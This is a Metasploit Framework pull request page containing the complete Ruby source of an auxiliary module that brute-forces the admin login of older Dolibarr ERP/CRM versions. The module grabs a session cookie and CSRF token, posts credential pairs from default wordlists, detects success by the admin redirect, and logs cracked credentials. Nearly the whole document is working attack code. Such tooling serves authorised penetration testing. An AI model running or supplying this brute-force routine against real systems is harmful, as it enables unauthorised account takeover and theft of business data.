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Merge pull request #318 from wchen-r7/dolibarr_login
Add an aux module to brute force Dolibarr's login interface
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## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
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require 'msf/core' | ||
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class Metasploit3 < Msf::Auxiliary | ||
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include Msf::Auxiliary::Report | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Auxiliary::AuthBrute | ||
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def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Dolibarr ERP & CRM 3 Login Utility', | ||
'Description' => %q{ | ||
This module attempts to authenticate to a Dolibarr ERP/CRM's admin web intarface, | ||
and should only work against version 3.1.1 or older, because these versions do not | ||
have any default protections against brute-forcing. | ||
}, | ||
'Author' => [ 'sinn3r' ], | ||
'License' => MSF_LICENSE | ||
)) | ||
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register_options( | ||
[ | ||
Opt::RPORT(80), | ||
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", | ||
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]), | ||
OptPath.new('USER_FILE', [ false, "File containing users, one per line", | ||
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]), | ||
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", | ||
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]), | ||
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/']) | ||
], self.class) | ||
end | ||
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def get_sid_token | ||
res = send_request_raw({ | ||
'method' => 'GET', | ||
'uri' => @uri.path | ||
}) | ||
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# Get the session ID from the cookie | ||
m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/) | ||
id = (m.nil?) ? nil : m[1] | ||
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# Get the token from the decompressed HTTP body response | ||
m = res.body.match(/type="hidden" name="token" value="(.+)"/) | ||
token = (m.nil?) ? nil : m[1] | ||
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return id, token | ||
end | ||
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def do_login(user, pass) | ||
# | ||
# Get a new session ID/token. That way if we get a successful login, | ||
# we won't get a false positive due to reusing the same sid/token. | ||
# | ||
sid, token = get_sid_token | ||
if sid.nil? or token.nil? | ||
print_error("#{@peer} - Unable to obtain session ID or token, cannot continue") | ||
return :abort | ||
else | ||
vprint_status("#{@peer} - Using sessiond ID: #{sid}") | ||
vprint_status("#{@peer} - Using token: #{token}") | ||
end | ||
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begin | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => "#{@uri.path}index.php", | ||
'cookie' => sid, | ||
'vars_post' => { | ||
'token' => token, | ||
'loginfunction' => 'loginfunction', | ||
'tz' => '-6', | ||
'dst' => '1', | ||
'screenwidth' => '1093', | ||
'screenheight' => '842', | ||
'username' => user, | ||
'password' => pass | ||
} | ||
}) | ||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT | ||
vprint_error("#{@peer} - Service failed to respond") | ||
return :abort | ||
end | ||
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location = res.headers['Location'] | ||
if location =~ /admin\// | ||
print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"") | ||
report_auth_info({ | ||
:host => rhost, | ||
:port => rport, | ||
:sname => (ssl ? 'https' : 'http'), | ||
:user => user, | ||
:pass => pass, | ||
:proof => location, | ||
:source_type => 'user_supplied' | ||
}) | ||
return :next_user | ||
else | ||
vprint_error("#{@peer} - Bad login: \"#{user}:#{pass}\"") | ||
return | ||
end | ||
end | ||
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def run | ||
@uri = target_uri | ||
@uri.path << "/" if @uri.path[-1, 1] != "/" | ||
@peer = "#{rhost}:#{rport}" | ||
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each_user_pass { |user, pass| | ||
vprint_status("#{@peer} - Trying \"#{user}:#{pass}\"") | ||
do_login(user, pass) | ||
} | ||
end | ||
end |